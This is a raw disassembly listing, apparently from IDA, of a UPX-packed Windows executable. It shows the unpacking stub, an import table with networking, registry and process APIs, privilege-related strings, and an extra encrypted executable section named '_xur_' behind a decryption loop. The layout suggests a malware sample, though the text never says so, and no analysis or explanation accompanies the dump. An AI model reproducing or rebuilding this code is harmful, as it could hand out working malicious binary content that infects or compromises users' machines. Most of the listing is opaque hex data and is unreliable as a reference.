27611A33h, 1F2A234Dh, 583274B6h, 32323221h, 5833312Eh dd 18FE66D3h, 8B323C20h, 0C95A25A4h, 7A0773C8h, 0DBEC1B1Ah dd 23FF0Ch, 140A1104h, 0DD40520h, 185DADEh, 4B4C0069h dd 68505353h, 4BE48F6h, 8829772h, 240057E0h, 0EB605DCDh dd 6F30006Eh, 3A73009Dh, 7B7B2274h, 90130B1h, 3500398Ch dd 7301B223h, 72E1D5Bh, 0C9ABDA00h, 8273C80h, 0EC57DA20h dd 9F324E24h, 461A0003h, 6407923h, 4007471Bh, 45060006h dd 101B9FFFh, 8A151F01h, 48E088h, 444004Fh, 292FFFF6h dd 0F27A6A19h, 281C49E4h, 742530AFh, 0E1536710h, 4DF214F2h dd 3075DF5Ch, 0BAF70400h, 75CDAE6h, 5C085ABDh, 0D8DD4D61h dd 72E5DC8h, 2E380036h, 491B3077h, 0B62E6CECh, 1043EC00h dd 0E5633F00h, 6439E403h dd 4DC08A2h, 0B7FC83D8h, 0FF1640h, 0E00DEDEh, 19F1600h dd 26FD2602h, 2840484Ch, 6110319h, 8BF70D1Bh, 0D374D96Ch dd 90A5C370h, 9C2AB2EFh, 6077256Bh, 109FB6CFh, 1B04480Eh dd 0B73E1354h, 5A545D75h, 22596326h, 45CBC75Ch, 0E7FCD20Fh dd 58765h, 4810030Bh, 0FFB810B8h, 0E7B17FFh, 286A050Bh dd 0B10C3919h, 0A89B11D0h, 0D94FC000h, 0FF85F62Eh, 5D5FF5B1h dd 1CEB8A88h, 0E89F11C9h, 48102B3Ch, 0B9F2D160h, 0F40C5EC8h dd 0CA060A3h, 5790F200h, 0CB10CA0h, 0C8E4EFFBh, 880CA000h dd 90040h, 0EC0703ECh, 0E49E11h, 4F401495h, 0BF40707Ch dd 1B2297B2h, 13430700h, 23FF09E7h, 138578h, 0E9A65BABh dd 63F81013h, 2F90273Ch, 230EFEFFh, 60C30740h, 8408E651h dd 0F74F9388h, 10B94349h, 0B801FFEEh, 0E4D98710h, 0AD200CC9h dd 7C7F070Dh, 0FC85796h, 700118D8h, 3E400F84h, 0F8495E4h dd 36000F95h, 21BF279h, 6C0F847Fh, 0AB7B000Fh, 0A89A1E12h dd 0FF13436Fh, 1F223024h, 50586E69h, 6C725020h, 2B029Bh dd 39014446h, 0F2113F24h, 123C6B32h, 0EC027515h, 41F21035h dd 941C0053h, 72BFFE01h, 0C606EB88h, 73255C5Ch, 6370695Ch dd 0FFE5D424h, 0EC81666Fh, 0E4FF071Ch, 44655300h, 67756265h dd 0E8DF7669h, 67ADD463h, 6A6441CFh, 6F548975h, 0DB92656Bh dd 176EB266h, 126F4C73h, 0FD1C7075h, 61567F76h, 4165756Ch dd 28704F17h, 2C77636Fh, 34C6A475h, 61766B00h, 0DF053367h dd 75E318D4h, 39316DCDh, 0FE6A322Dh, 9F5A3A37h, 72545F6Ch dd 6E577961h, 96DD4364h, 61AF36DAh, 6F94521Eh, 0AD685405h dd 0CCEA354h, 7C45614h, 0BA99B65Ch, 532841B5h, 3EA37845h dd 0FA34356Eh, 0F54BB3D2h, 544822F3h, 7D835054h, 404B46A9h dd 4F6C9C20h, 0BB0A0D4Bh, 1EF52B5h, 244CB4Bh, 0CA044C2Dh dd 676ADF66h, 25203A59h, 0DA2F1875h, 28587B5Ah, 26B97954h dd 6D5A70A7h, 63B2B6A6h, 2E2F15AFh, 8EA9EE56h, 72BF2DCBh dd 59B4CBCDh, 4757B18Bh, 1E3FC304h, 372A942Dh, 0F1640200h dd 0E95FED0Bh, 6D9573D7h, 0B1637673h, 2DDF77D7h, 25692D5Eh dd 175F320Fh, 98B73475h, 7BD2F6Bh, 38393103h, 0D34D34DBh dd 34353637h, 75236933h, 7DCE9A6h, 2F313203h, 0DEF60C39h dd 3837D9h, 37073B43h, 8320C832h, 0C8343536h, 330C8320h dd 93523132h, 0FB8B2CD4h, 0B7F9E03Ah, 0C7EDB58Ah, 54464F47h dd 45524157h, 9163F0Dh, 75435CD7h, 56297272h, 6C378442h dd 5C1E73E8h, 0B36E7552h, 0D0B6ED37h, 0EA6F74E2h, 20306838h dd 7FF81B53h, 0FB0F1A14h, 736E6753h, 796A7264h, 0CB564472h dd 7E741768h, 0B9AAEAA7h, 5F7A43C2h, 0CE23h, 4C10E147h dd 47136055h, 535E01BBh, 9E432053h, 0D5762067h, 0ADBD9B53h dd 945876DCh, 7C23B532h, 2D82F642h, 0E3471A1Bh, 23CB7337h dd 79931217h, 0A35A8473h, 4200F1B1h, 75D72077h, 0BDADB023h dd 6D1B13C5h, 0DD975220h, 0A5B73772h, 2044180Dh, 2F662620h dd 2D856D67h, 2AAC73D9h, 22632463h, 0FED722D9h, 20797469h dd 1E6E614Dh, 1831F81Ah, 420000Ch, 15455D12h, 0FB2493C4h dd 0C0017119h, 65657246h, 0B7E00D0Ch, 470DCD47h, 6F4D7465h dd 2F14BF87h, 434665C5h, 406D614Eh, 74736C01h, 35DEF772h dd 0A956380h, 79706F43h, 0E1480A19h, 456102DEh, 22326578h dd 0F8A5FFEDh, 6C6F6F54h, 3233703Bh, 70616E53h, 746F6873h dd 9B5BBA19h, 32127414h, 540F7372h, 235AE60Bh, 182C35A3h dd 0F60B6C21h, 78654E01h, 41616974h, 16BFFB54h, 0CF76453Ch dd 7469616Bh, 53726F46h, 0ED74423Ch, 4F7B676Dh, 2C766A62h dd 0E025A144h, 8D22B59Bh, 0CD964CB7h, 45DB76CDh, 2F725072h dd 48196972h, 0EF64BDD6h, 486573FDh, 0C646E61h, 886C3255h dd 8B61B59h, 4618E06Eh, 46D735F1h, 64B14465h, 59498B4Bh dd 530C1BC0h, 64656B1Dh, 0ADDD1F45h, 1270B36Dh, 661D4061h dd 1153246Fh, 96EC9B3h, 6EC17065h, 25CFF64Bh, 12EE9E9Bh dd 6464410Bh, 0EF660F72h, 4CD9221Bh, 61726269h, 0CD15B567h dd 4D2BC1B5h, 6C137C82h, 0BB961016h, 8763CF9Ch, 54F685B5h dd 75969869h, 2B4DDE65h, 0B15B092h, 0B4B44278h, 0D366C37h dd 0E539AF5Dh, 5D22CC21h, 78456862h, 66C25B6Dh, 630AF631h dd 373C6D13h, 522D8DC1h, 87B591Bh, 2ECD82ADh, 38657A94h dd 9F9D5B5Ch, 2CD1937Dh, 654B9367h, 0EC3B4579h, 7810CE40h dd 0A510F99h, 5AC25EC0h, 309011E8h, 426C5987h, 0D21021E7h dd 7B70A107h, 62410C51h, 6853B024h, 688D0E29h, 0FF78F1F6h dd 0D9851AC1h, 10892877h, 7DB662BBh, 6112440Ah, 6669320Eh dd 0B63AD61Bh, 8F67BC79h, 6C362B75h, 436F616Fh, 2C796FC0h dd 23506F11h, 52106770h, 3F900E8Fh, 0B4A438F6h, 71634114h dd 70726975h, 4DD874AEh, 3AA03549h, 59A7C336h, 73ECDE13h dd 6D06BC72h, 0D1CE18B1h, 840E27B2h, 99DA150Fh, 1D4D536Bh dd 0C54A445Fh, 3FB8740Ah, 0C5E8685Fh, 6EC46D27h, 0AD0702CDh dd 880D696Fh, 660AD172h, 14E955B3h, 40288901h, 0F3488CD3h dd 0CC652D15h, 0EC0CC362h, 0E10A1415h, 0DF26106Eh, 776C49ACh dd 0C20B7073h, 0B75BB669h, 0F44F4166h, 3DB6FC28h, 8B2C2834h dd 1141A155h, 16C05212h, 6A615F0Eh, 6B14C370h, 0C9416E09h dd 3BB86658h, 1A877453h, 0F5135B3Fh, 7940EB45h, 2C020273h dd 0D2CB2CBh, 346F3901h, 0B2CB2CB2h, 4090C17h, 2AA4F413h dd 141610CBh, 7C834550h, 74EC4AABh, 40E07ED2h, 0CE8011E0h dd 10F00FDh, 0BE06010Bh, 6ABA120Ch, 0EFCB20ECh, 31431024h dd 0BA4B020Bh, 7283259h, 364600Ch, 341E733Bh, 8060710h dd 37B39609h, 0E33F8C2Fh, 6405DB0Ah, 2E1E0180h, 0B06C0C5Bh dd 263207DDh, 0DBC42890h, 7D0483E3h, 642EE004h, 6E54FBE7h dd 1221DD21h, 162C27h, 0C08574BEh, 0C9314648h, 54h, 0 align 10h pusha mov esi, offset dword_31436000 lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31437CA2 ; --------------------------------------------------------------------------- align 8 loc_31437C98: ; CODE XREF: UPX1:loc_31437CA9j mov al, [esi] inc esi mov [edi], al inc edi loc_31437C9E: ; CODE XREF: UPX1:31437D36j ; UPX1:31437D4Dj add ebx, ebx jnz short loc_31437CA9 loc_31437CA2: ; CODE XREF: UPX1:31437C90j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CA9: ; CODE XREF: UPX1:31437CA0j jb short loc_31437C98 mov eax, 1 loc_31437CB0: ; CODE XREF: UPX1:31437CBFj ; UPX1:31437CCAj add ebx, ebx jnz short loc_31437CBB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CBB: ; CODE XREF: UPX1:31437CB2j adc eax, eax add ebx, ebx jnb short loc_31437CB0 jnz short loc_31437CCC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31437CB0 loc_31437CCC: ; CODE XREF: UPX1:31437CC1j xor ecx, ecx sub eax, 3 jb short loc_31437CE0 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_31437D52 mov ebp, eax loc_31437CE0: ; CODE XREF: UPX1:31437CD1j add ebx, ebx jnz short loc_31437CEB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CEB: ; CODE XREF: UPX1:31437CE2j adc ecx, ecx add ebx, ebx jnz short loc_31437CF8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CF8: ; CODE XREF: UPX1:31437CEFj adc ecx, ecx jnz short loc_31437D1C inc ecx loc_31437CFD: ; CODE XREF: UPX1:31437D0Cj ; UPX1:31437D17j add ebx, ebx jnz short loc_31437D08 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437D08: ; CODE XREF: UPX1:31437CFFj adc ecx, ecx add ebx, ebx jnb short loc_31437CFD jnz short loc_31437D19 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31437CFD loc_31437D19: ; CODE XREF: UPX1:31437D0Ej add ecx, 2 loc_31437D1C: ; CODE XREF: UPX1:31437CFAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_31437D3C loc_31437D2D: ; CODE XREF: UPX1:31437D34j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_31437D2D jmp loc_31437C9E ; --------------------------------------------------------------------------- align 4 loc_31437D3C: ; CODE XREF: UPX1:31437D2Bj ; UPX1:31437D49j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_31437D3C add edi, ecx jmp loc_31437C9E ; --------------------------------------------------------------------------- loc_31437D52: ; CODE XREF: UPX1:31437CDCj pop esi mov edi, esi mov ecx, 86h loc_31437D5A: ; CODE XREF: UPX1:31437D61j ; UPX1:31437D66j mov al, [edi] inc edi sub al, 0E8h loc_31437D5F: ; CODE XREF: UPX1:31437D84j cmp al, 1 ja short loc_31437D5A cmp byte ptr [edi], 1 jnz short loc_31437D5A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_31437D5F lea edi, [esi+5000h] loc_31437D8C: ; CODE XREF: UPX1:31437DAEj mov eax, [edi] or eax, eax jz short loc_31437DD7 mov ebx, [edi+4] lea eax, [eax+esi+7000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+708Ch] xchg eax, ebp loc_31437DA9: ; CODE XREF: UPX1:31437DCFj mov al, [edi] inc edi or al, al jz short loc_31437D8C mov ecx, edi jns short near ptr loc_31437DBA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_31437DBA: ; CODE XREF: UPX1:31437DB2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+7090h] or eax, eax jz short loc_31437DD1 mov [ebx], eax add ebx, 4 jmp short loc_31437DA9 ; --------------------------------------------------------------------------- loc_31437DD1: ; CODE XREF: UPX1:31437DC8j call dword ptr [esi+7094h] loc_31437DD7: ; CODE XREF: UPX1:31437D90j popa jmp loc_314324EF ; --------------------------------------------------------------------------- align 400h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31438000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C371D3h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 0C3906893h, 0C48BED01h, 0E85BD0FFh, 5Fh, 824648Bh, 4EBB8h dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 427500F8h dd 0E8h, 0ED815D00h, 402338h, 2385858Bh, 85030040h, 40238Dh dd 858BF08Bh, 402389h, 238D8503h, 60500040h, 0C933FE8Bh dd 2395958Ah, 32AC0040h, 0AAD002C2h, 918D3B41h, 7C004023h dd 2BC361F1h, 30FF64C0h, 0B8208964h, 12345678h, 60000387h dd 7C800000h, 0 dd 1E003143h, 300000h, 75Ch dup(0) UPX2 ends ; Section 4. (virtual address 0000A000) ; Virtual size : 0001A001 ( 106497.) ; Section size in file : 0001A001 ( 106497.) ; Offset to raw data for section: 0000A000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _xur_ segment para public 'CODE' use32 assume cs:_xur_ ;org 3143A000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 27E89000h, 53000000h, 0CBFB9h, 66DA8B00h, 148D1031h dd 8DD68613h, 0F3E20240h, 0C35DC35Bh, 310FF151h, 1000B8C3h dd 0C9330000h, 0C08525EBh, 2CCD0875h, 0ED79C085h, 8C660EEBh dd 0AE3C1CAh, 0E173E378h, 0DD74FE38h, 0FFFFD5E8h, 0CFE891FFh dd 0F7FFFFFFh, 0C10355D9h, 4246C8Bh, 4246C81h, 1E07h, 1002Dh dd 81B37300h, 301006EDh, 82858D00h, 66003010h, 0FF9D908Bh dd 84E8FFFFh, 0BAFFFFFFh, 0B0FE69F1h, 0D606A53Bh, 7ED89885h dd 249239h, 762AE38Eh, 0DFEE3D3Ch, 62BB8195h, 7C2639FDh dd 0BDA1797Bh, 62E07CCEh, 286B59F5h, 12FD1639h, 0F0DCFB0Fh dd 0FB76242Ah, 0DC1D7073h, 87793A8Eh, 31ED0B3Fh, 86806E2Ah dd 0CD4ED487h, 0CF8B78D1h, 0F759EA23h, 519BCE5h, 221196A5h dd 0F9F99493h, 0BEA95F5Dh, 0D1D2F04h, 86A0CC5Dh, 0B9A86479h dd 0D80C2302h, 54266674h, 2D09CDC5h, 0F9DCAF9Ch, 0DEAC5855h dd 0A9F9902Eh, 535BB445h, 0A6B81B02h, 84B43544h, 625C0BE9h dd 11FD4A8h, 4FEDFC6Eh, 0F384B69Bh, 0DC43B2BAh, 7785C0F1h dd 3DC7C690h, 4F5B7B1h, 34D973CAh, 58EFEF7h, 22541FDFh dd 87135362h, 7640ED01h, 2C14D7E6h, 0CBEA0C54h, 8DB9DF6Ah dd 4F5EAEB8h, 0EF2526B8h, 0D5E31223h, 3C28D0FAh, 0EDEAA786h dd 9B99FC4Bh, 6061E209h, 1F1E4461h, 6498930Eh, 0FAB3F205h dd 0F2C789C3h, 5C3977B5h, 937AD3D2h, 9F97AA9Fh, 0B1B7314Ch dd 2CF7F9Dh, 0FF84F3C7h, 88D23791h, 790EA356h, 0C5EB93Ch dd 0EA72CDDCh, 0C1E0257Fh, 0C0DBAA1h, 45544027h, 9CD15DE5h dd 9DA584Dh, 0C0B5B01h, 5BD814A4h, 0F99FEFC4h, 0D3E27FB3h dd 80DB6418h, 57568C14h, 1EA72872h, 0DCEB297Eh, 1E98E0ECh dd 0EA6F9FAEh, 0A31348EFh, 0B743342h, 28076684h, 7A842D4Ah dd 0B4FFA39h, 1C7CDEB4h, 58BDF4ADh, 2C43F2D8h, 0AD5D969Fh dd 52FB4664h, 6CC3751Ch, 62CB35CAh, 0C0CC654Bh, 97EE505Fh dd 4463B8B4h, 2B51060h, 315C19E5h, 9C1A5965h, 4C369BC0h dd 909ADD84h, 0D2E177AEh, 81DC6271h, 56558EA6h, 1DA82670h dd 0DBEA2AECh, 757C6B13h, 5F6AADBCh, 4A71EF94h, 0E599664Ch dd 26341CD2h, 0FC88B6C4h, 0AC8AD212h, 0EFFD3021h, 25AA828Bh dd 9B818FE4h, 0B5C40115h, 0F704EEBBh, 6048ED95h, 76E0C33Bh dd 94549EE5h, 0F1E44E6Ch, 7BEC135Ch, 8593E2CBh, 0C55B902Ch dd 0FF05765h, 55A99A8h, 0C2D09FBEh, 814AE22Ch, 9F215044h dd 64740804h, 1A6CD7F3h, 0E9C28F88h, 8827D877h, 5D6E6F52h dd 79136EFCh, 0E2F11F14h, 266AF68Fh, 0E2FEB4C3h, 0AA88DCA8h dd 63FA48B8h, 1E14160Ch, 1CC23CCCh, 4BC2CF27h, 0F90542AFh dd 3845BF14h, 0BA0C4CD6h, 42CC3932h, 7A814D2Ah, 4160A627h dd 0AD286C61h, 392A1312h, 8F185664h, 4A599ABCh, 0A72A5F62h dd 0BF211C1Bh, 0D0A5D06Ch, 0D2629199h, 0A68D224Fh, 0D818DA34h dd 0E6AE6776h, 0D76BAAB8h, 0AF875976h, 1EE9CD3Dh, 0A6BD700Eh dd 66449A0Ch, 80794885h, 14053776h, 0AA337A88h, 707EBD10h dd 0B3C018E5h, 0DAB9CC4Fh, 0BC46B4B9h, 8C88AC1Ah, 0B8BBF7CEh dd 940EAADAh, 17B68DDCh, 9BFBD0B5h, 0D043A7ACh, 1BAF5553h dd 0C45897A6h, 736494ECh, 65BBE4D5h, 10525AE1h, 3461A0AFh dd 91E46F5Ah, 7B021698h, 0E2CACC13h, 5B007D33h, 9EF26892h dd 8A23A63Ch, 48F5FB7Eh, 6573DAC1h, 0E8DCFC03h, 0E4936414h dd 95AE86D7h, 377D8BE0h, 0DA80398Fh, 0F4031ECDh, 362F571Ah dd 7DED095Fh, 0B9A0077Ch, 950C200Ah, 3F4ED318h, 0E8C1CFB4h dd 512C41DFh, 6257EDFh, 0B7D2CFFAh, 8AA45CE8h, 78511A29h dd 0F2E4D6Bh, 51673E17h, 674D6AF0h, 0D608A297h, 95275664h dd 6A7DAE32h, 104B15F9h, 0EFF712AEh, 0B4CF3D7Dh, 64429BB1h dd 0A7B5E5EAh, 86977944h, 7B4A0DEDh, 70AD3BBh, 0D4D89967h dd 866E5E1Bh, 6544C3F5h, 528B512Ch, 3F400625h, 0FC3B6346h dd 1E27D8CAh, 147031B7h, 0C3E23ADAh, 704B93E4h, 453C039Bh dd 5E1381B0h, 24891842h, 0E1D5C7Bh, 351BFBFEh, 0C3C6958Dh dd 0BC924B43h, 7241001Fh, 0CC97F1B6h, 9C9AC3E9h, 88BBEFB1h dd 77793E2Ah, 49D82540h, 6237F231h, 7D086353h, 2A095D84h dd 6F11B9A2h, 9A876EF5h, 0DAB83E7Ch, 0A343818Eh, 7B0C22F9h dd 469F5130h, 0CB20C9C3h, 0BEBAB899h, 0B0A5D079h, 95850F1Eh dd 2E96C79Fh, 86D09493h, 0AD18A91h, 25A81CD9h, 5382F96h dd 65349DC6h, 0B8DD4A11h, 14662100h, 0FEB6B806h, 5867A254h dd 783821C4h, 0C0691309h, 6A2E5D50h, 0AEB12E96h, 0F5B3F110h dd 0B6A06316h, 0D66B26D4h, 5C508952h, 0F67D7F09h, 85FF323Fh dd 0B6CD88AAh, 76B4E9CCh, 473A68FBh, 6FF614AAh, 3C7BA099h dd 0BB0C5430h, 0C1D00F35h, 287AE08h, 0BA54A388h, 0B8BCD471h dd 3035FE26h, 0C1BA597h, 145D9CABh, 0C0CE17DEh, 0D28A717Eh dd 9E246771h, 3D36F470h, 0C86C6CFAh, 0AA8E7FFBh, 0FEC56C2Eh dd 0ED905142h, 93A4BC6Ah, 0B4A56041h, 22A38AD3h, 0E97887ECh dd 2678D9CCh, 0B7A663B5h, 315EFD8Ch, 74924ECFh, 0B6C50311h dd 0F8074553h, 3A498896h, 2EDD9BD9h, 95C399E4h, 58BB4F6Dh dd 3692150Ch, 457A3119h, 0BBB65778h, 67781603h, 2E14FECCh dd 0FBFEB981h, 0B4B3425Eh, 7A74150Ch, 5511D7C0h, 0EAD29698h dd 0DA9D4655h, 6E5F1914h, 5E03C9D7h, 0C0CA9CBEh, 8AB4554Bh dd 257516EDh, 913C787h, 0C2FF9272h, 8CB15C24h, 41570CFAh dd 3180FFAAh, 0C0A2657Dh, 99771334h, 4B34E3F7h, 9CAC896h dd 0D8B86B7Ch, 90632809h, 2904F5EAh, 0E0F3B793h, 0A3A75723h dd 5C722304h, 2B3CEBC0h, 0FFD8DB8Eh, 0AAAA7C49h, 7D4F0F3Ah dd 230EC7D9h, 0F8F7D6C0h, 0B0945654h, 5F291D18h, 81FC2C2h dd 0FEC89F94h, 84B72F5Ah, 4F5B34F4h, 1200F5A6h, 0DCD59F77h dd 0AA895D33h, 59593C89h, 1512D48Ah, 0D6BB965Dh, 81610550h dd 522AECD5h, 1FE5AE82h, 0C8AE4E18h, 8B692317h, 2909EAF1h dd 0E2DFB48Ch, 0C595764Fh, 4A623323h, 252DFCC8h, 0E2FB928Ch dd 8FB8704Fh, 647A186Dh, 2612D8E3h, 0FCE78E97h, 0A3854046h dd 58511A19h, 2F0FEDB9h, 0EEC189AFh, 8583477Bh, 475C1031h dd 34B383h, 0C5D3A170h, 9E986736h, 6B3B3BE0h, 0A2BC8AEh dd 0DDA98D7Fh, 91444121h, 4420D2E6h, 17E8AFA6h, 0BB8B7052h dd 0AB782E1Eh, 523BE2F3h, 0E4FE99BAh, 0A5BE604Eh, 687A3C17h dd 241097E7h, 0E7F8BB87h, 0A2B0776Bh, 60525E0Fh, 382CC4CEh dd 0E6C39093h, 9BE5654Ah, 71711714h, 3C26DEDDh, 0F8C782BCh dd 0BA9E623Ch, 4D593610h, 1413FFA4h, 0C0DB9D73h, 99B73604h dd 596A17E2h, 1D19D8A5h, 0C3EFFD7Fh, 80672321h, 7376B0E2h dd 0CF5B7BDh, 0D5BB5716h, 8F782F3Bh, 5B03BFA8h, 0D38FBBA6h dd 85B67045h, 571380Bh, 122F3F6h, 0CBFDB48Eh, 0A5A96E5Dh dd 6B692809h, 35FDEDDh, 0FAE79595h, 0BAB4465Eh, 7252081Dh dd 3C3BA8C5h, 0F0C3AC8Dh, 0B384785Eh, 4C7C6F18h, 6301D4A5h dd 0C7D99D57h, 8D9E6334h, 6C5F37F1h, 6D1ED6A0h, 0C4CC955Dh dd 0B36D5E38h, 572CEEFCh, 1EF793D3h, 0D08E6361h, 0B50A2C3Bh dd 5728CDEEh, 0D0FABDA8h, 0ABA7796Dh, 6174360Dh, 2D3AC1D7h dd 0C797B983h, 0AEA85A5Ch, 4B79280Bh, 4F3BF2C4h, 0E0E394A1h dd 0B1974354h, 754A1723h, 5814D4D3h, 0E9EA9DB6h, 0B8984A5Fh dd 7C411C2Ch, 2703C3DAh, 0D1FDF279h, 86934600h, 4C6B12F1h dd 313CDABh dd 0DBF3FB64h, 0A7705F01h, 7C35E4E6h, 15E190B4h, 0D6A86C60h dd 0B57D0656h, 7A25EEE9h, 7FE8A1B5h, 0B19F7B50h, 71423C05h dd 3631F7CCh, 0E3F98296h, 84D97642h, 696B141Dh, 2D38CEC2h dd 0FFF0B69Ah, 83966F30h, 70500B00h, 3E30D2D6h, 0FBDD9C85h dd 0B18E6755h, 1E541F14h, 143EDBF0h, 0F7CB8365h, 8381403Bh dd 4E593FE9h, 0A14CAA8h, 0C0D3937Dh, 0A78B724Bh, 573516FFh dd 1F1A886h, 0FAAA6267h, 8B672B31h, 4F1889EEh, 17E29EB6h dd 0A5AB627Fh, 6B63240Dh, 2B07F5CFh, 0EEE6BAA2h, 0A0AA6276h dd 5C1A3E09h, 390FDAF9h, 0E5EAAF8Dh, 0BE821F5Eh, 6746111Fh dd 330EC7DCh, 0F6C4E681h, 0B88F4659h, 784B6B0Dh, 2C01C5C8h dd 0CCC98D8Ah, 0E4965C21h, 505611F0h, 712C5C5h, 0C3C9F863h dd 9A98512Ah, 4451348Bh, 16EFCDABh, 0DAA84264h, 964E2121h dd 5C24E3FBh, 8E480D8h, 0DBA3797Fh, 746A0928h, 2C3FFFDCh dd 0E0E7B184h, 0A6A24747h, 40183211h, 393FEDC6h, 0C1E8BE84h dd 91B1785Ch, 664F296Eh, 310DD0D4h, 0F2D5AB87h, 0B59A735Bh dd 75636936h, 331ECECEh, 0C5FC9999h, 8BB74B5Fh, 653317ECh dd 3734E287h, 848AC54Ch, 0ECB77403h, 6D5A1EDBh, 140CD2A0h dd 0B4BB9A45h, 0B9622702h, 7329E0E3h, 3CCBEB3h, 0D89E0959h dd 9A7B1D3Dh, 2006F6EFh, 0C1F7A48Ch, 94D5525Ah, 6D443101h dd 2638CED3h, 0F5DEBF9Ch, 265D1C6Ah, 40E87468h, 5362A1D8h dd 0B2E86E1Ah, 0B2E74F37h, 49793973h, 90E0AFD3h, 0CF7967ABh dd 0B0B04469h, 0B6CD222Dh, 6644990Fh, 56BB3187h, 0DBD0E2D3h dd 25F8F988h, 0F5F3EB08h, 0B3F1EBA4h, 9F54BE7Ch, 0C848EE92h dd 4AA2BF40h, 0B30B8D17h, 0FE0DDBDDh, 0C327DE9Ch, 891D081h dd 4ED478F5h, 6F563FAFh, 494897A6h, 0E6C8DB82h, 905E732Ah dd 10755E6Ch, 0AD31F3FEh, 0A5895F64h, 28BF7B33h, 290266E0h dd 2F952CB8h, 1E2160A6h, 3EF1D29h, 22A4FD72h, 667382D1h dd 57E5A3D2h, 477CBD97h, 0A13B49ADh, 6F64D745h, 4D94150Ch dd 7188BFB1h, 3675A950h, 603E4A59h, 0F8220716h, 76F3B5A7h dd 0F643C1Eh, 421F42DEh, 2CD31139h, 0F9EAAB50h, 62E2132Eh dd 4B1CD8D7h, 4251115Dh, 0F1E44A6h, 0AE9F8246h, 0CB656A0Fh dd 0D60D76F1h, 45276674h, 401B4536h, 5498EAC9h, 0FF22A9B6h dd 75616F4Dh, 3522E091h, 92200C53h, 6EF8056Eh, 0BEC55C82h dd 6E4C90C8h, 0B1BB3E56h, 0F302D718h, 0B4198290h, 489C653Eh dd 37366C15h, 0CC1125C2h, 0F31FDC9Ah, 0AB8FEAFDh, 0CF16931Fh dd 0B7919407h, 8A56A5BEh, 3E1D10C6h, 0E8DB2932h, 531D766Ah dd 3A5EF46Eh, 6C921FEEh, 0C01B2642h, 0E752A5F6h, 5968ACDEh dd 0C77A62F8h, 53D17B39h, 1035BEC9h, 6FCB3BBFh, 2DB4F200h dd 0E8F63CC9h, 1C17485h, 0A6F0D903h, 0C4DF5DF9h, 7E37949h dd 0F3C04364h, 0A30E94DDh, 0E9048E47h, 0AA4A2202h, 0C2B3E1CBh dd 0B0A40049h, 0CE158C1Eh, 2E2EC7EBh, 917E9493h, 4E903C66h dd 23DA7220h, 0E4BD269h, 68CBF46Fh, 97A0EFC5h, 0E7EB29B4h dd 0C9526B2h, 7340333Ch, 795EE8C7h, 778D68B4h, 0FE5BA485h dd 6298FA7Dh, 0F8B3F100h, 0FC94DEC3h, 0B4B376B4h, 6C4A93ECh dd 0A799868Ah, 4884324Bh, 0B242808Eh, 7686CA3Dh, 0BCAF5013h dd 5094754h, 0C61D70Dh, 0F27147DBh, 0C0D42A99h, 6942515Fh dd 45507BA2h, 0DAC0D5E4h, 358E1772h, 3C3103FDh, 0C394AFABh dd 919EDA7Ah, 0B9B3712Fh, 144E3273h, 5766A5DCh, 0F57B5B6h dd 0DCDB031Dh, 6ADBE9ECh, 83BFEE6h, 0A3B1F1FBh, 0C140CD16h dd 273677A3h, 41712239h, 28E2F938h, 0CE84F8Ah, 0E5CB2E98h dd 25D0C0A5h, 233A5446h, 0F8376FF6h, 4F890DCFh, 0E8749C09h dd 0BFFE261Ah, 535418D0h, 1B16FBF7h, 8790446Fh, 0FB7C1524h dd 530932A6h, 1C0B315Ah, 0DFCD8CBBh, 441F4C7Dh, 13124B42h dd 576C6733h, 0EC59E5F4h, 4F162F12h, 1C1B4081h, 0A7F853E8h dd 0FCAFDED7h, 63F234FDh, 244179BFh, 